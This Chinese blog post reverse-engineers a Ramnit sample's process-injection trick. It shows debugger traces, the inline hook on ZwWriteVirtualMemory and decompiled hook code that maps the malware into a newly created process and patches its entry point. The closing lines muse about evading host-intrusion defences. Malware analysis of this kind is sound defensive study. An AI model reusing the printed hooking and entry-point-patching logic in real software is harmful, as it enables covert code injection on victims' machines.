1. 来源
某次卡饭hips浏览中,看到某高大上进程注入方式(主要是某人头发长),惊为天人,技术堪称猥琐之王(抬高了?),额。。。不捧了。
前面分析了一种进程注入方法,现在开始分析另外一种貌似更猥琐的方式,貌似说这种技术用在ramnit病毒中,下面这图是大致原理图(引用的)
简单测试了下,CreateProcess时,会多次调用ZwWriteVirtualMemroy,本以为是写入PE文件的,结果没有看到,所有有点不明白,钩住ZwWriteVirtualMemroy怎么用,文章中提到的是这样:
The hooked Windows native system service redirects the code execution flow to the module defined in the caller process to perform the code injection routine. The injected code in the new process includes the capability for file infection (Windows executable and HTML files), as well as backdoor and downloader functionalities.
大意可能是各位写入进程中一些代码,比如backdoor,downloader,但是就是不明白如何执行起来,所以需要找个样本来学习一下,如何利用
2. 样本获取
在卡饭中搜索到了几个可能是ramnit的样本,有两个没有解压密码,气死了,其他的都是upx3.0加壳,妹啊,脱不了啊,最后下了个交desktoplayer.exe,以为没壳了,结果弄了半天还是upx3.0.8,最后,直接OD吧,
断了几次CreateProcessA,可以看到创建了iexplorer.exe,但是参数貌似不是CREATE_SUSPENDED(后面才想起,这种方式不用),然后就想直接在ZwWriteVirtualMemory下断,od没法了,转到windbg吧,有了下面的分析
3. 分析
首先想到就是直接对zwwritevirtualmemory下断,然后回溯到inject代码中,结果居然会崩。。这。。不过还是找到了inject代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
370:000> bp ntdll!zwwritevirtualmemory
0:000> g
(7e8.af4): Break instruction exception - code 80000003 (first chance)
eax=00960000 ebx=000009c6 ecx=0012f0b0 edx=7c92e4f4 esi=7c92df90 edi=0012f56c
eip=00930005 esp=0012f094 ebp=0012f0b4 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
00930005 cc int 3
0:000> g
(7e8.af4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ba960002 ebx=000009c6 ecx=0012f0b0 edx=7c92e4f4 esi=7c92df90 edi=0012f56c
eip=7c92df96 esp=0012f094 ebp=0012f0b4 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010282
ntdll!ZwWriteVirtualMemory+0x6:
7c92df96 0003 add byte ptr [ebx],al ds:0023:000009c6=??
0:000> kn
# ChildEBP RetAddr
00 0012f090 00402a74 ntdll!ZwWriteVirtualMemory+0x6
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0012f0b4 7c81a636 image00400000+0x2a74//这里既是调用ZwWriteVirtualMemory的代码
02 0012f3ac 7c819da8 kernel32!BasePushProcessParameters+0x281
03 0012fe0c 7c81d627 kernel32!CreateProcessInternalW+0x184e
04 0012fef8 7c802397 kernel32!CreateProcessInternalA+0x29c
05 0012ff30 004013c0 kernel32!CreateProcessA+0x2c
06 0012ffb4 00402cda image00400000+0x13c0
07 0012fff0 00000000 image00400000+0x2cda
0:000> ub 7c81a636
kernel32!BasePushProcessParameters+0x266:
7c81a61b 6a00 push 0
7c81a61d 53 push ebx
7c81a61e 56 push esi
7c81a61f 8b85ccfdffff mov eax,dword ptr [ebp-234h]
7c81a625 ff7048 push dword ptr [eax+48h]
7c81a628 ffb580fdffff push dword ptr [ebp-280h]
7c81a62e 8b350014807c mov esi,dword ptr [kernel32!_imp__NtWriteVirtualMemory (7c801400)]
7c81a634 ffd6 call esi//这里既是调用ZwWriteVirtualMemory的代码
对7c81a634 下断,重新加载程序,g1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
220:000> bp 7c81a634
0:000> g
ModLoad: 76300000 7631d000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 62c20000 62c29000 C:\WINDOWS\system32\LPK.DLL
ModLoad: 73fa0000 7400b000 C:\WINDOWS\system32\USP10.dll
ModLoad: 77180000 77283000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 5d170000 5d20a000 C:\WINDOWS\system32\comctl32.dll
(1ec.1f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=84493bb9 ecx=7ffdf000 edx=00150608 esi=00150000 edi=84493bb1
eip=7c98d811 esp=0012fc38 ebp=0012fc98 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlDebugFreeHeap+0x82:
7c98d811 0fb707 movzx eax,word ptr [edi] ds:0023:84493bb1=????
0:000> g
Breakpoint 0 hit
eax=00960000 ebx=000009c6 ecx=0012f0b0 edx=7c92e4f4 esi=7c92df90 edi=0012f56c
eip=7c81a634 esp=0012f0bc ebp=0012f3ac iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!BasePushProcessParameters+0x27f:
7c81a634 ffd6 call esi {ntdll!ZwWriteVirtualMemory (7c92df90)}
确认一下ZwWriteVirtualMemory被hook1
2
3
4
5
6
7
8
90:000> u 7c92df90
ntdll!ZwWriteVirtualMemory:
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
7c92df90 e9c44aad83 jmp image00400000+0x2a59 (00402a59)
7c92df95 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c92df9a ff12 call dword ptr [edx]
7c92df9c c21400 ret 14h
7c92df9f 90 nop
想着就在这把文件dump出来,在ida中看方便点,然后再od中下断,为了怕跑飞,也对CreateProcessA下断了,然后运行,现在CreateProcessA中断下来,回溯了一下,看着堆栈栈帧很少,就尝试看能够脱壳不
很笨的下断回溯了两次,到了00402C5B ,一点都不想c入口,但是上次没有,调用地址是0012FFC4 7C817067 返回到 kernel32.7C817067
也不像是壳进行了入口的patch,将就吧,dump出来,importrect修复了一下,嘿,在ida中一看,还不错,入口代码这样的:1
2
3
4
5
6
700402C5B 68 00040000 push 0x400
00402C60 68 D0DF4000 push DesktopL.0040DFD0
00402C65 E8 AEEAFFFF call DesktopL.00401718
00402C6A 83F8 01 cmp eax,0x1
00402C6D 75 70 jnz short DesktopL.00402CDF
00402C6F 68 00404000 push DesktopL.00404000 ; ASCII "KyUffThOkYwRRtgPP"
00402C74 E8 66EAFFFF call DesktopL.004016DF
马上定位到image00400000+0x2a59,修复的还不错,这下子方便多了,可以直接f5,但是不能正常执行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30__int64 __stdcall myHookZwWriteVirtualMemory(HANDLE hProcess, int a2, int a3, int a4, int a5)
{
LODWORD(v5) = mySysZwWriteVirtualMemory(hProcess, a2, a3, a4, a5, NumberOfBytesWritten, flOldProtect, v12);// 调用原函数
NumberOfBytesWritten = (SIZE_T)&v12;
v9 = v5;
if ( hProcess != (HANDLE)-1 )
{
if ( !myInjectFlag )
{
if ( !lpAddress ) // 初始化为0
{
EOP = (void *)myGetEOP(hProcess); // 获取到宿主进程EOP
if ( EOP )
{
myInjectFlag = 1;
lpAddress = EOP;
dword_40DFA8 = myInjectMyExe(hProcess, (int)"MZ, 0x9800u);
dword_40DFAD = v7;
if ( dword_40DFA8 )
{
VirtualProtectEx(hProcess, lpAddress, 0xCu, 0x40u, &flOldProtect);
WriteProcessMemory(hProcess, lpAddress, &byte_40DFA7, 0xCu, &NumberOfBytesWritten); //入口感染
VirtualProtectEx(hProcess, lpAddress, 0xCu, flOldProtect, &flOldProtect);
}
}
}
}
}
return v9;
}
在钩子函数中,工作很少,获取到宿主进程EOP,在宿主进程中加载自己的程序,然后对EOP进行感染,也就是跳转到自己的程序代码空间
代码基本就这么多了,最后怎么玩就靠自己的代码了。
3. 技术总结
其实和另一个中注入方式大同小异,目标都是为了将自己的程序映射到宿主进程空间中。
一个直接暴力suspend,读写,另一个在创建进程过程中进行读写。
由于两种方式都有远程进程读写操作,都应该会被主防拦住,貌似现在效果也不是很好了
是否可以再读写内存时,对主防进行欺骗呢,还需要研究….